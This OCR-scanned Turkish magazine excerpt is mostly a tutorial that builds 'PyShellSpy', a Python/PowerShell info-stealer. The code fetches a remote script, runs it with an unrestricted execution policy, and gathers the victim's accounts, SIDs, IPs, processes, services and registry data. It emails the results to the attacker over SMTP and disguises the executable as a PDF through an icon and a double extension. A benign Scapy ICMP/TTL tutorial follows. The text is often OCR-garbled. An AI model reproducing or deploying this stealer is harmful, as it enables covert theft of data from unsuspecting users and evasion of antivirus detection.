Ajan programimizin iginde yer alan script’lerin hepsi asagi-
daki gibidir. Goriildiigli tizere ajanin ¢alistirildigr andaki Lo-
calTime | Calisan Processleri | User Account bilgileri (SID,
computer name dahil) | Network Bilgileri (IP ve MAC adres-
leri dahil) | Registrydeki herhangi bir bilginin igerigi | O anda
calisan servisleri goriintiileyebildik:

Get-WmiObject -Class win32 LocalTime
Get-Process
Get-WmiObject -Class win32 UserAccount

Get-WmiObject -Class Win32 NetworkAdapterCon-
-Filter IPEnabled=S$true -Computer-
Format-Table -Property IPAddress

figuration
Name . |

Get-ItemProperty -Path Registry::HKEY LOCAL
MACHINE\SOFTWARE\Microsoft\Windows\Current-
Version

Get-Service
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Select Administrator: Windows PowerShell i batoiaiinton ol

indous PowerShell
opyright ¢G> Microsoft Corporation. All rights reserved.

[PS C:\WINDOUS\system32}> Get-UmiObject —Class win32_LocalTime UMM CPU<s) ProcessName

2
Uin32_Localline —
Win32 CurrentTime

Win32_CurrentTine

Uin32 Localline=@ ity
10

{Win32 CurrentTimeX

18408 a audiodeg
648 BatteryLife

78156 4 chrome
18772 a.1?7 chrome
21812 3 chrome
1 chrome

chrome

chrome

chrome

chrome

chrome

AU 3L G, VTS UV 1S

C:xProgram Files

C:~Program Filez~Common Files

C:~Program Files (xB6>»

C:~Program Files (x86>~Common Files

C:~Program Filezs~Common Files

C:~Program Files

C:=“\MINDOUS \Media

Gz \WINDOUS \inf

C:xProgram Files

Game

fet Program Access and Defaults
Hicrozoft.Powerfhell.CorerRegistry: :HKEY_LOCAL_MACHINE|
sion

Hicrozoft.Powerfhell.CorerRegistry: :HKEY_LOCAL_MACHINEX|

DevicePath
ProgramFilesPath

SM_Game sName

EM_Conf igureProgramsName

512 PSParentPath
“Guest [PEChildName
PSProvider

§—1-5-21— Microsott.Powerihell.Core~Registry
Guest
P2 C:\WINDOUWSssystem3d2>

strator: Windows PowerShell

S C:NUINDOUSNsystem32> Get—WmiObhject —Class Win32_MetworkAdapterConfiguration —-Filter IPEnabled=5true —ComputerName
Format-Tabhle —Property IPAddress

IPAddress

192.168.1.176. zdba?:?f6h>
192.168.56.1. b49h:92bh53

S C:sUWINDOWSSsystemd2>

istrator: Windows PowerShell

& C:xWINDOWS~zsystem32> Get—Service

Mame DisplayMName

fieLookupSuc fipplication Experience

ALG Application Layer Gateway Service
AlllUserinstallA. Windows All-User Install Agent
ApplDSuc Application Identity

Appinfo Application Information

fludioEndpointBu... Windows Audio Endpoint Builder
Audiosrwe Windows Audio
AxInstSU fAictived Installer (AxInstSU>

BFE Base Filtering Engine

BITS Background Intelligent Transfer Sewr...
BrokerInfrastru. Background Tasks Infrastructure Ser...
Browser Computer Browser

bthseru Bluetooth Support Service

CertPropSvc Certificate Propagation

COMSysApp COM+ System Application

cphs Intel(R> Content Protection HECI Se...
CryptSuc Cryptographic Services

DeomLaunch DCOM Serwver Process Launcher
defragsvc Optimize drives

Deviceflssociati. Device Association Serwice
Devicelnstall Device Install Serwvice

Dhcp DHCP Client

Script igeren dosyamizi yazdigimiza ve ne ise yaradiklarmni depoya uygun olarak urlopen attribute’u ile iletisime gegilen
gordigiimiize gore programimizi yazmaya devam edebiliriz.  path'i degistirmelisi
Ben kodu depolamak i¢in Github1 tercih ettim. Siz sectiginiz
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Son olarak indirmeye ¢alistigim “get_info.ps1” dosyanin adini “test.ps1” olarak degistirerek Temp klasoriimiin altina atamay1
tercih ettim ve depomdaki string’leri “output.write” ile kullanicinin bilgisayarinda olusturdugum dosyaya yazdirdim:

import urllib.request
def get psfile():

file url = urllib.request.urlopen(‘https://raw.githubusercontent.com/FerdiGul/PyShell-
Spy/master/get info.psl’)

with open(r’C://Windows//Temp//test.psl’,’wb’) as output:

output.write (file url.read())

Powershell script’in Python’da calistirilmasi:

Pythonda bir baska processi ¢cagirmak istedigimde argparse ve subprocess modiillerine ihtiyacimiz olacak. Asagidaki kod blo-
gunda powershell.exe unrestricted ¢alisma kuralinda ¢agirilip (Bypass bazi durumlarda daha faydali olmasi muhtemeldir...),
kullanicinin bilgisayarindaki ~/temp dizini altindaki “test.ps1” igerisindeki scriptler sirasi ile calistiriliyor.

Kurbanin bilgisayar1 hakkinda elde edilen veriler “output” degiskenine ataniyor. Son olarak ~/temp dizini altinda “get_info.txt”
dosyasini olusturuyor ve output degiskenin tuttugu veriler .txt dosyasina yazdiriliyor.

import argparse
import subprocess as supProc

import urllib.request

def exec ps():

parser = argparse.ArgumentParser (description=’Sample call to PowerShell function from
Python’)

parser.add argument (‘--functionToCall’, metavar='-f’, default='GET VICTIM INFO’, help-
=’ supProcecify function to run’)

args = parser.parse_args()

psResult = supProc.Popen ([r’/C:\WINDOWS\system32\WindowsPowerShell\vl.0O\powershell.
exe’,

‘-ExecutionPolicy’,
‘unrestricted’, #ByPass

‘. C://Windows//Temp//test.psl’,
args.functionToCall],

stdout = supProc.PIPE)

output = psResult.communicate ()
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doc = open(“C://Windows//Temp//get info.txt”,”w”)
doc.write (str(args)+”\n\nstdout:\n\n” + str (output))

doc.close () #finish the process for ps execution

Ajanimizin Elde ettigi verilerin e-posta eki olarak saldirgana iletilmesi:

Python dilinde mail géndermek istedigimizde smtplib modiilii bize yardimecr olacaktir. Burada bizim i¢in énemli olan nokta
ajanimizin olusturdugu, kurbanin bilgilerini igeren “get_info.txt” dosyamizdir. Bunu nasil e-postada saldirgan ele gegirebilir,
sorusu ile yola ¢ciktigimizda; MIMEBase bize yardimer olacak.

import smtplib

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

from email.mime.base import MIMEBase

from email import encoders

def send mail (sender, receiver) :
from mail = sender
to mail = receiver

message = MIMEMultipart ()

message [ ‘From’] = from mail
message[‘'To’] = to mail
message[ ‘Subject’] = “You have gotten some information about your victim!”

body = “Alarm: A new victim detected!”

message.attach (MIMEText (body, ‘plain’))

file = “get info.txt”

attachment = open(“C://Windows//Temp//get info.txt”, “rb”)
getFile = MIMEBase (‘application’, ‘octet-stream’)
getFile.set payload((attachment) .read())
encoders.encode base64 (getFile)
getFile.add header (‘Content-Disposition’, “attachment; filename= %s” % file)
message.attach (getFile)

smtp = smtplib.SMTP (‘smtp.gmail.com’, 587)

smtp.starttls ()

smtp.login (from mail, “password”)

text = message.as_string()

smtp.sendmail (from mail, to mail, text)

smtp.quit ()
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Programin programlama kodlarinin son hali ise asagidaki gibidir:

import argparse, smtplib

import subprocess as supProc

import urllib.request

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

from email.mime.base import MIMEBase

from email import encoders

def get psfile():
#when i want to change/add new powershell script. I can renew my file that get info.psl
on my github. So script get another some info also..
file url = wurllib.request.urlopen(‘https://raw.githubusercontent.com/FerdiGul/Python
with PowerShell/master/get info.psl’)
with open(r’C://Windows//Temp//test.psl’,’wb’) as output:
output.write (file url.read())

def exec ps():

parser = argparse.ArgumentParser (description=’Sample call to PowerShell function from
Python’)

parser.add argument (‘--functionToCall’, metavar=’'-f’, default='GET VICTIM INFO’, help-
=’ supProcecify function to run’)

args = parser.parse_args()

psResult = supProc.Popen ([r’C:\WINDOWS\system32\WindowsPowerShell\vl.0\powershell.
exe’,

‘-ExecutionPolicy’,

‘unrestricted’,

‘. C://Windows//Temp//test.psl’,

args.functionToCall],

stdout = supProc.PIPE) # stderr = supProc.PIPE

output = psResult.communicate () # if you want to use upside please add this area also;
=> output,error

#returnCode = psResult.returncode # “Return code given to Python script is: “ + str(re-
turnCode)

doc = open (“C://Windows//Temp//get info.txt”,”w”)
doc.write (str (args)+”\n\nstdout:\n\n” + str (output))
doc.close () #finish the process for ps execution

def send mail (sender, receiver) :
from mail = sender
to mail = receiver
message = MIMEMultipart ()
message[ ‘From’] = from mail
message[‘To’] = to mail
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message|[ ‘Subject’] = “You have gotten some information about your victim!”
body = “Alarm: A new victim detected!”
message.attach (MIMEText (body, ‘plain’))

file = “get info.txt”

attachment = open(“C://Windows//Temp//get info.txt”, “rb”)
getFile = MIMEBase (‘application’, ‘octet-stream’)
getFile.set payload((attachment) .read())
encoders.encode base64 (getFile)
getFile.add header (‘Content-Disposition’, “attachment; filename= %s” % file)
message.attach (getFile)

smtp = smtplib.SMTP(‘smtp.gmail.com’, 587)

smtp.starttls ()

smtp.login(from mail, “password”)

text = message.as string()

smtp.sendmail (from mail, to mail, text)

smtp.quit ()

” .

if name ==" main

get psfile ()

exec ps()

sender="mail address”
receiver="mail address”
send mail (sender, receiver)

Simdi kétii niyetli ajanimizi olusturdugumuza gore hazirsak test asamasina gegelim mi?

PyShellSpy Zararlisinin Test Asamasi:

Command Promptumuzu [cmd.exe] agalim ve yukarida yazdigimiz ajan programi ¢alistiralim:
python PyShellSpy.py

] CAWINDOWS\system32\cmd.exe i

:sUserss ~Desktop~PyShellSpyrpyinstaller —onefile ——icon=pdf.ico PyShellSp

= PyInstaller: 3.4

indows-8-6.2.9200-5P8
seps “Desktop“PyShellSpy\PyShellSpy.cspec
FO: is not available.
= Extending PYTHOMPATH with paths

Perfecto! Bir hata ile karsilagmadik ve Python script’i ¢calistiginda ~/temp klasoriiniin altinda “ test.ps1 | get_info.txt “ dosyala-
rinin olustugunu gozlemledik:

F » Computer # OS(C:) » Windows » Temp v Search Temp

oads ] Mame g Date modified Size
tes 1KB
1 KB
rcuments SOM File 1KB
usic 5QM File 1KB
pitl SOM File 1 KB
deos Text Document 0KB
Text Document D KB
ies [ getinfodt Text Document 32 KB
Box VMs . Ni < Comma... 1KB
EE Windows Comma... KB
) 28.12.2012 Windows Comma... 2KB
D) [ et 10.1.2019 23:02 T 1KB
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Acaba get_info.txt dosyasinin i¢inde gercekten istedigim bilgiler var mi?

3 get_info - Notepad R =
,F”ej‘t, FDn’[\it Vie\{vj Help S
Wamespace (functionToCall—"GET VICTIM INFO') "

stdout:

(b*\r\n\r\n__GENUS : 2\r\n__CLASS : Win32_LocalTime\r\n_ SUPERCLASS : Win32_CurrentTime\r\n_ DYNASTY : Win32_CurrentTime
\r\n__RELPATH : Win32_LocalTime=@\r\n_ PROPERTY COUNT : 1@\r\n_ DERIVATION : {Win32_CurrentTime}\r\n_ SERVER :
\n__NAMESPACE : root\\cimv2\r\n_ PATH £ AN _LocalTime=@\r\nDay : 1@\ r\nDay0fleek £
4\r\nHour ¢ 23\r\nMilliseconds ¢ \r\nMinute : 54\r\nMonth + 1\r\nQuarter : 1\r\nSecond : 43\r
\nkWeekInMonth i 2\r\nYear : 2019\r\nPSComputeriame & i 4744\r\nHandles : 367\r\nCPU + 1,234375\r
\nHName : AAM Updates Notifier\r\n\r\nld : 10016\r\nHandles : 183\r\nCPU 1 9,046875\r\nName : ACEngSwr\r\n\ri\nId + 5732\r\nHandles
: 142\r\nCPU : 8,8625\r\nName + ACMONAr\n\r\nId : 1980\r\nHandles : 97\r\nCPU + \r\nName : AdminService\r\n\r\nId : 9492\p
\nHandles : 276\r\nCPU 1 @,359375\r\nName : AdobeARM\r\n\r\nId : 2012\r\nHandles : 278\r\nCPU : \r\nName : app_updater\r\n\r\nId
: 1676\r\nHandles : 7@\r\nCPU ¢ \r\nName : «r\nHandles : 217\r\nCPU : 11,125\r\nHame : AsusTPCenter\r\n
\r\nId : 18812\r\nHandles : 35\r\nCPU : @,83125\r\nName : AsusTPHelper\r\n\r\nId : 4852\r\nHandles : 184\r\nCPU : 21,71875\r
\nName : AsusTPLoader\r\n\r\nId : 28@4\r\nHandles : 138\r\nCPU : \r\nName : Ath_CoexAgent\r\n\r\nId : 852\r\nHandles : 79\r\nCPU
: 8,83125\r\nlame + ATKOSD2\r\n\r\nId : 5596\r\nHandles : 112\r\nCPU : 8,0625\r\nName : audiodghr\n\r\nId : 39@@\r\nHandles :
143\r\nCPU : 8,0625\r\nName : Batterylife\r\n\r\nId : 2384\r\nHandles : 385\r\nCPU : 0,328125\r\nName + BtTray\r\n\r\nId
3112\r\nHandles : 1664\r\nCPU : 0,375\r\nName HE R LRk 2 | . BEREWaniRes | I GaR . B IR = : CCFManager\r
AAp\rAnTd i _6A\r\nHandles : 193\r\nCPU ____ : 77.859375\r\nName __: chrome\r\n\r\nld ___ : 968\r\nHandles : 176\r\nCPU _8.5\r\nlame.
\ri\nName : WmiPrvSE\r\n\r\nId : 6192\r\nHandles : 152\r\nCPU : \r\nhame + WmiPrvSE\r\n\r\nAccountType : 512\r\nCaption
Mdministrator\r\nDomain : PAnSID : §-1-5-21-2422069669- \r\nFullliame : \r\nhame
. auduaiascrator\r\n\r\nAccountType : 512\r\nCaption X .nDomain x \r\nSID 1 5-1-5-21-24220869669-
sr\nFulllame ¢ \r\nName 3 \r\n\r\nAccountType : 512\r\nCaption < e " \Guest\r\nDomain 3
\r\nSID : 5-1-5-21-2422069669- r\nFullName + \r\nName + Guest\r\n\r\n\r\n\rin\r\nIPAddress
R \r
\n{192.168.1.176, rdba7:7f6b} \r\n{192.168.56.1, €994:b49b:92b5}
Ar\n\r\n\rin\r\n\r\nProgramFilesDir : C:\\Program Files\r\nCommonFilesDir : C:\\Program Files\\Common Files\r
\nProgramFilesDir (x86) : C:\\Program Files (x86)\r\nCommonFilesDir (x86) : C:\\Program Files (x86)\\Common Files\r\nCommonk&432Dir
C:\\Program Files\\Common Files\r\nProgramki6432Dir : C:\\Program Files\r\nMediaPathUnexpanded : C:\\WINDOWS\\Media\r\nDevicePath
: C:\AWINDOWS\\inf\r\nProgramFilesPath : C:\\Program Files\r\nSM_GamesName 1 Games\r\nSM_ConfigureProgramsMame : Set Program
Access and Defaults\r\nPSPath : Microsoft.PowerShell.Core\\Registry: :HKEY_LOCAL_MACHI\r\n NEN\SOFTWARE\
\Microsoft\\Windows\\CurrentVersion\r\nPSParentPath : Microsoft.PowerShell.Core\\Registry: :HKEY_LOCAL_MACHI\r\n
MEN\SOFTWARE\\Microsoft\\Windows\r\nPSChildName : CurrentVersion\r\nPSProvider : Microsoft.PowerShell.Core\\Registry\r\n\r

Harika! Kurbaninin zararli dosyayi ne zaman ¢alistirdig1 bilgisi, bilgisayarindaki yonetici (Administrator) hesab: dahil tiim SID
bilgileri, IP bilgileri, o anda ¢alisan tiim process ve servisleri elde edebildim. Hatta bataryanin siiresi bile var :).

Son adim olarak eger saldirgan, bu 6nemli bilgileri mail olarak kendine gonderebildiyse her sey saldirganin istedigi gibi oldu
demektir:

[ Birincil &% Sosyal @ Tantimlar
ben You have gotten some information about your vietim! - Alarm: A new victim detected! 04:00

B getinfota

Gorduglimiiz tizere victim bilgileri igeren mail attacker’a ulagtigina gore amacimiza ulastik.

You have gotten some information about your victim! Gelen kutusu x

test01malicious@gmail.com & 04:00 (20 dakika bnce) 1y
Alici. ben =

Alarm: A new victim detected!

B getinfo.ixt y

Sosyal Miihendislik Bolumiu:

Simdi sira geldi isin psikolojik tarafina. Burada ise tamamen saldirganin yaraticiligina kalmig bircok varyasyon diistiniilebilir.
Basit mantik kullaniciya bu script’i ulastirmamiz gerekecek. Herhalde kurbana “bir Python kurmanizi rica edebilir miyim?”
diye soramayiz degil mi?

O zaman hemen .py uzantili Python script'imizi kullanicimizin fark edemeyecegi bir dosya haline doniistiirelim.

Ajanimizi pe dosya haline getirmek istiyorum.
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Scriptimiz PDF dosyas: gériiniimiinde olacak yani script dosyasinin ikonunu degistirecegiz.
Iki sorumuzu cevaba kavugturacak bircok babayigit var aslinda; Pyinstaller, py2exe vb.

Pyinstaller kullanmayi tercih ettim ben bu adimda. Script ikonunun PDF goriiniimde olmasini istedigim i¢in PDF dosyalari-
na ait “*.ico” formatinda bir resim indirelim ve ayni dizin altinda tutalim. Programi bilgisayarimiza kurduktan sonra ismini
PyShellSpy verdigim .py uzantili script'imin klasériinde komut istemcisi ¢alistiralim ve yukaridaki iki sorumuzu cevaba kavus-
turalim:

pyinstaller --onefile --icon=pdf.ico PyShellSpy.py

B CAWINDOWS\system32\cmd.exe - O

sDezsktop~PyShellSpyrpyinstaller ——onefile ——icon=pdf.ico PyShellSp|

PFylnstaller: 3.4

Python: 3.6.3

Platform: Windows—8-6.2.2200-5P@
: wrote Cislsersh sDesktop~PyShellSpy~PyShellSpy.spec
: UPX is not availahle.

Extending PYTHONPATH with paths

Bulundugumuz dizin altinda “dist” isimli bir klasor olusacak. Burada ise kurbana gondermek tizere olusturulan ajani gérmiis
olacaksiniz. Bu dosya bildiginiz iizere pe yani executable. Inandiriciligini biraz daha arttiralim ve dosyanin sonunda “pdf”

ekleyelim.

I \.. R Application Tools dist - O
“ Home Share View Manage 9
(-' = I b PyShellSpy » dist v & Search dist o

M Computer ~ e r— l
&, 05
ca DATA (D) h !& :L,
s DVD RW Drive | [ —ror - [-ror
€ Network
[ Control Panel PyShellSpy PyShellSpy.pdf | | PyShellSpy.pof.exe |
£ Recycle Bin

Solda Pyinstaller ile ilk olusturulan zararlinin gériiniimii. Ortada goriilen sonuna “pdf” uzantis: ekledigim gériiniim. En sag-
daki ise ayarlardan uzantilari goster dedigimde dosyanin gercek haline ulagiyoruz.

Zararli Dasyamizin Analizi:
Hybrid Analysisda baktigimiz dosyamizin malicious score’u fena degil.

Submission name:  PyShellSpy.pdf.exe

Size) o AV Detection: 2%
Type: E3e Labeled as: Trojan Python
Mime:  application/x-dosexec
SHAZ56:  did99187bfc632M1c67ed0cd10c256d797b636ced4f404d1090bdef51fibco? & 9% ik | e | o e-vaa |
Last Anti-Virus Scan: ~ 01/11/201910:43:33
Last Sandbox Report: -
Anti-Virus Results 2 Refresh

CLEAN =, 3% N/A

CrowdStrike Falcon Static Analysis (ML) @ & Metadefender @ % © VirusTotal @ ©
o]
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Wireshark’'da gorelim:

ARKA KAPI

Hatirlarsak SMTP kodumuzda “msg.strttls()” ile giivenli SMTP connection1 saglamistik. Destination portumuzu 587 olarak

ayarladigimizda ise bunu gozlemleyebiliyoruz.

A packet.pcapng = =
File ew  Go : A Stat T Wir T Help
Amg® Baesz=tssEHaaan
[ [tep.dstport==587 [x] ~| Expression...  +
Mo. Time Source Destination Protocol  Length Info
708 5.957843 192.168.1. 52.15.126.174 TLSv1.2 1474 Ignored Unknown Record | |
761 5.985442 52.15.126 192.168.1.176 TP 54 443 » 55873 [ACK] Seq=1 Ack=338979 Win-1648 Len=8
762 5.985505 192.168.1. 52.15.126.174 TLSy1.2 1474 Ignored Unknown Record
703 5.985529 192.168.1. 52.15.126.174 TLSv1.2 1474 Ignored Unknown Record
704 6.920012 52.15.126 192.168.1.176 Tcp 54 443 > 55873 [ACK] Seq=1 Ack=341819 Win=1648 Len=6
785 6.820061 192.168.1. 52.15.126.174 TLSv1.2 1474 Ignored Unknown Record
706 6.820082 192.168.1" 52.15.126.174 TLSv1.2 1474 Ignored Unknown Record
707 6.853543 52.15.126" 192.168.1.176 Tcp 54 443 > 55873 [ACK] Seq=1 Ack=344659 Win=1648 Len=0
708 6.853603 192.168.1" 52.15.126.174 TLSv1.2 1474 Ignored Unknown Record
789 6.853635 192.168.1 52.15.126.174 TLSv1.2 1474 Ignored Unknown Record |
1252 11.430664 108.177.15.108 Tcp A Wireshark - Packet 1955 - packet.pcapng -
1577 14.511508 188.177.15.108
1677 15.574863 108.177.15.108 TCP segment data (1686 bytes)
1678 15.574877 108.177.15.108 [ bled PDU in frame: 23641
1766 16.579338 108.177.15.108 TCP segment data (294 bytes)
B R a8 i A a o 4 [13 Reassembled TCP Segments (16413 bytes): #1048(147), #1841(1388), %1150(1380), #1151(1388),
L ) [Frame: 1646, payload: 8-146 (147 bytes)]
S [Frame: 1041, payload: 147-1526 (1388 bytes)]
sk bRy - [Frame: 1150, payload: 1527-2986 (1380 bytes)]
2052 13.654915 leg.177.15.108 [Frame: 1151, payload: 2967-4286 (1380 bytes)]
sl A8 T L [Frame: 1251, payload: 4287-5666 (1386 bytes)]
2154 20.680143 A S [Frame: 1252, payload: 5667-7846 (1380 bytes)]
CEELEL I Ly LEloresliiay [Frame: 1577, payload: 7647-8426 (1380 bytes)]
Zasl 2hansse 198 77 Lelus [Frame: 1677, payload: B427-9886 (1380 bytes)]
L e R R [Frame: 1678, payload: 9887-11186 (1386 bytes)]
2tz T lan Ay Lo lon T2 [Frame: 1766, payload: 11187-12566 (1380 bytes)]
S R e Ioatie el Healed [Frame: 1767, payload: 12567-13946 (1380 hytes)]
A3 29 1885 s A 1EE [Frame: 1954, payload: 1394715326 (1388 bytes)]
L [Frame: 1955, payload: 15327-16412 (1986 bytes)]
[Segment count: 13]
4 Frame 1955: 1434 bytes on wire (11472 bits), 1434 bytes captured (1147 [Reassembled TCP length: 16413]
4 Interface id: 8 (\Device\NPF {49247DBA-B795-4378-ABBD-0667608AC002) [Reassembled TCP Data: 1793834818f073f14650e47f97BbabupBc7e1476F48410a¢. .. ]

Process Explorerda zararli dosyanin hareketlerini inceledigimizde ise process agag yapisi asagidaki gibi gortilmektedir:

o

Process Explorer - Sysinternals: www.sysinternals.com

File Options View Process Find Users Help
demeae x4  |idmdi 1 |
Process CPU  Private Bytes | Working Setl  PID  Description Compary Name ~
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Programin a¢ik kaynak kodlarina github adresimden ulasabilirsiniz.
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Python Scapy

Kutuphanesi

lle Ag Paketi

Programlama I

mel ayarlar ve basit islemlere deginmistik. Bu bolim-

de, uygulamalar: biraz daha ilerletmeye, farkli 6rnekler
yapmaya ¢alisacagiz. Yapacagimiz uygulamalarin ¢cogu, egitim
amagcl olacagindan basit olmasi 6zellikle gozetilmis 6rnekler
olacak. Yapacagimiz uygulamalar: gelistirmek, daha gercekei
baglanti testi, network testi senaryolara uygulamak ise temel
ag bilgisi ile kolayca ger¢eklestirilebilir.

Scapy’den bahsettigimiz ilk yazida detayli kurulum, te-

Simdi, TTL degerini belirledigimiz bir ICMP echo request
(ping) paketi tireterek baglayalim. Paketin igerisine veri olarak
“merhaba” kelimesine ait karakterleri ekleyecegiz. Bu yontem-
le ICMP paketleri igerisine istenilen payload eklenebilir.

TTL degeri ag paketlerinin aga birakildiktan sonra, hedefine
ulagana dek kat edecegi hop sayis1 yani gegebilecegi noktala-
rin maksimum saysini ifade etmektedir. Yani bir arabamiz
oldugunu diisiiniirsek, icerisine konulan benzin miktarina
da TTL degeri dersek, arabanin ne kadar yol alacag1 benzin
miktariyla alakalidir. Simdi arabanin yolda kaldig: bir yerle-
sim yerinden bize telefon agilip, arabanin hedefine ulagamadi-
giun bildirildigini diigiinelim. Eger elimizdeki aract iki sehir
arasinda yolculuk yapmasi i¢in gonderiyorsak, icerisine fark-
I1 miktarlarda benzin koydugumuz bir¢ok araci gondererek,
bize gelen telefonlardan araglarin yolda nerelerden gegtigini
bulma sansimiz olur. Yani haritay: hi¢ bilmesek bile, énce bir
araca ¢ok az benzin koyup gonderip, benzini bittiginde nere-
den arandigimizi not ederek baglar; sonraki araca biraz daha
fazla benzin koyarak gonderirsek araglarin gectigi bir sonraki
yerlesim yerini 6greniriz. Biz de network tizerindeki router’la-
r1 bulmak icin TTL degerini artira artira gonderebilir ve ge-
len cevaba gore gonderdigimiz paketlerin nerelere ugrayarak
yonlendirildigini gérmeye ¢alisabiliriz. Daha énce “tracerou-
te” veya “tracepath” komutlarini kullandiysaniz, bu komutlar
da buna benzer bir mantikla calismaktadir. Simdi hazirsaniz,
TTL degeri 2 olan bir paket olusturarak gurayyildirim.com.tr
adresine gondermeye ¢aligalim. Baslamadan 6nce, giden pa-
keti ve gelen cevaplar takip edebilmek icin yeni bir terminal
ekrani acarak fcpdump ¢alistiralim:

sudo tcpdump -i enp0s3

Bu ekrandaki ¢iktiy1 bir kenarda tarif ederken, bir yandan da
Scapy’nin acik oldugu ekranda TTL degerini ayarladigimiz
ICMP paketini olusturup gonderelim:

>>> send (IP(dst='gurayyildirim.com.tr’,
ttl=2)/ICMP () /’'merhaba’)

Sent 1 packets.

Bu ¢iktiy1 aldiysaniz, tcpdump ekraninda beklediginizden
daha fazla satir gormiis olabilirsiniz. Oradaki DNS sorgusu
gibi kayitlar1 size bir aragtirma konusu olarak birakip konu-
muza odaklanmak icinse, Scapyde ayn1 komutu birkag kez ¢a-
listirip ¢iktiy1 izlemeniz yeterli olacaktir. “tcpdump” ekraninda
suna benzer bir ¢ikti olustugunu fark etmeliyiz (Bu ve sonraki
orneklerde IP adresleri ve alan adlar1 olabildigince kaldirilmig
/ 6rnek degerler ile degistirilmeye ¢aligilmustir.):

20:34:57.791567 IP 10.0.2.15 > t-z-y-x.rev.
example.com: seq O,
length 15

ICMP echo request, id 0,

20:34:57.876921 IP a.b.c.d > 10.0.2.15:
time exceeded in-transit, length 36

ICMP

Ustteki ¢ikt1 aslinda bize, gonderdigimiz ICMP paketini goste-
riyor. Bu 6rnekte bizim i¢cin dnemli olansa ikinci satir. Aslinda
bu satir bize ICMP paketindeki Time-to-Live (TTL) degeri-
nin, paketin hedefine ulasmasina yetmedigini ve yolda pake-
tin siiresinin doldugunu soylityor. Bu durumda TTL degerini
2 yaptigimizda karsilastigimiz routern adresini yukaridaki
ornekte a.b.c.d olarak diistinebiliriz.

Simdi TTL degerini 1'den baslayarak artirmay: denersek, yol
tzerindeki router’lar1 bulmaya ¢alisabiliriz. Bu noktada 1 yap-
tigimizda alacagimiz ¢ikti énem tastyor. Ornekteki makine
NAT Network icerisinde bulunan bir sanal makine. Bunun
etkisini de hemen gérelim:
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>>> send (IP(dst='gurayyildirim.com.tr’,
ttl=1) /ICMP () /' merhaba’)

Sent 1 packets.
Simdi tcpdump ekraninda su iki satira dikkat edelim:

20:53:02.501309 IP 10.0.2.15 > t-z-y-x.rev.
example.com: id 0, seq O,

length 15

ICMP echo request,

20:53:02.501490 IP 10.0.2.2 > 10.0.2.15:
length 36

ICMP
time exceeded in-transit,

Yukaridaki satir yine ayni hedefe gitmeye calisirken, alttaki sa-
tirda yazan 10.0.2.2 degerine dikkat edelim. Bu deger aslinda
paketin daha ilk gidecegi router {izerinden déndiigli zaman
aldigimiz deger oldu, ¢linkii TTL degerini 1 yapmigtik. Peki
paket bilgisayarimizdan ¢iktiginda ilk nereye gider? Kendi ye-
rel agimiz disinda kalan paket varsayilan ag gecidine (default
gateway) gidecektir. 10.0.2.2 de bu durumda yerel ag gecidi-
miz olmali. Peki bunu nasil dogrulariz? Hemen deneyelim:

$ ip r

default via 10.0.2.2 dev enp0s3
metric 100

proto static

10.0.2.0/24 dev enp0s3
link src 10.0.2.15 metric 100

proto kernel scope

169.254.0.0/16 dev enp0s3
1000

scope link metric

Ciktinin ilk satirinda gordiigiimiiz varsayilan ag gecidi adre-
sini elde etmis olduk. Yani paketimiz daha gittigi ilk ag gegi-
dinde TTL degeri 1 disiiriilecegi igin yolda kalmis oluyor ve
router bize bu konuda bir mesaj gonderiyor.

Daha 6nce traceroute veya benzer bir komutla ugrastiysaniz,
arada yer alan bazi router’larin ¢ikti listelenmedigini de gor-
miis olabilirsiniz. Aslinda bazi router’lar TTL degeri 0 oldu-
gunda bize geriye mesaj gondermeyebilirler. Bu durumda pa-
ket hedefine ulasmadig: gibi, bizi de bu durumdan haberdar
etmezler. Eger TTL degerini artirmaya devam ederseniz, bazi
degerlerde istek yapmaniza ragmen geri doniis olmadigini
tcpdump ekranindan izleyebilirsiniz. Ornegin bu yaziy1 hazir-
larken kullanilan makinenin bulundugu agdan hedefe gidilen
dinamik rotada TTL degeri 0’a diismesine ragmen cevap ver-
meyen bir router, 4. sirada denk geldi:

>>> send (IP(dst='gurayyildirim.com.tr’,
ttl=4) /ICMP () /' merhaba’)

Sent 1 packets.

Ayni anda tcpdump ekraninda:

21:06:40.535040 IP 10.0.2.15 > t-z-y-x.rev.
example.com: ICMP echo request, id 0, seq 0,

length 15

Son aldigimiz ¢iktida bir zaman asimi mesaji gelmedi. Bu-
radaki tek ihtimal karsidaki routerin paketin TTL degeri 0
olunca cevap vermeden onu atmasi degil, aslinda cevap ver-
mis ve cevabin yolda basina gelen bir aksakliktan dolay: bize
ulagmamis da olabilir. Bunu asmak icin paketi sadece bir kere
gonderip karar vermek yerine bir siire bekleyip tekrar tekrar
gondermek, elde ettigimiz sonugtan emin olmamizi saglaya-
caktir. Yine de bunlarin disinda bir¢ok ihtimalden dolay: ce-
vap alamama ihtimalimiz oldugunu belirtelim.

Not: Bu orneklerde IP adresi yerine alan adi kullandigimiz
icin DNS sorgusu da tcpdump c¢iktilarinda karsimiza geliyor.
Isterseniz direkt hedef IP’si yazarak her istekte DNS sorgu-
sunun tekrarlanmasini engelleyebilir, daha sade bir ¢iktiya
ulagabilirsiniz. Ayrica dilerseniz alternatif bir yontem olarak,
daha 6nce yaptigimiz gibi, tcpdumpa BPF ekleyerek (Berke-
ley Packet Filter) istediginiz mesaj tiirii, IP adresi dahil bir¢ok
filtreleme uygulayabilirsiniz. Ozellikle sanal makinede ¢alis-
mayanlar i¢cin tcpdump ekraninda olusabilecek yogun ¢iktinin
filtrelenebilmesi i¢in bu yontem kullanish olabilir. Bu durum-
da 6rnek olarak su komutu kullanabilirsiniz:

$ sudo tcpdump -i enp0s3 dst host gurayyildirim.
com.tr

Bu sorgu hedefi gurayyildirim.com.tr’nin IP adresi olan pa-
ketleri gosterecektir. Gelen cevaplari da basit bir sorgu iceri-
sinde gormek istersek:

$ sudo tcpdump -i enp0s3 dst host gurayyildirim.
com.tr or dst host 10.0.2.15 and icmp

Ayni zamanda bazi router’lar da TTL degerini 1 diigtirmez-
ler. Yani onlara TTL degeri 1 olarak giden paket, bir sonraki
router’a yine TTL degeri 1 olarak iletilir. Bu router’lar1 da bu
yontemle dogrudan bulamiyoruz.

Simdi de isterseniz TTL degeri yiiksek bir paket iiretip, karsi
tarafa ulagtigini ve cevap alabildigimizi dogrulayalim:

>>> send (IP(dst='"gurayyildirim.com.tr’,
ttl=32) /ICMP (seg=3) /'merhaba’)

Sent 1 packets.

TTL degeri olarak bir¢ok isletim sistemi varsayilanda bundan
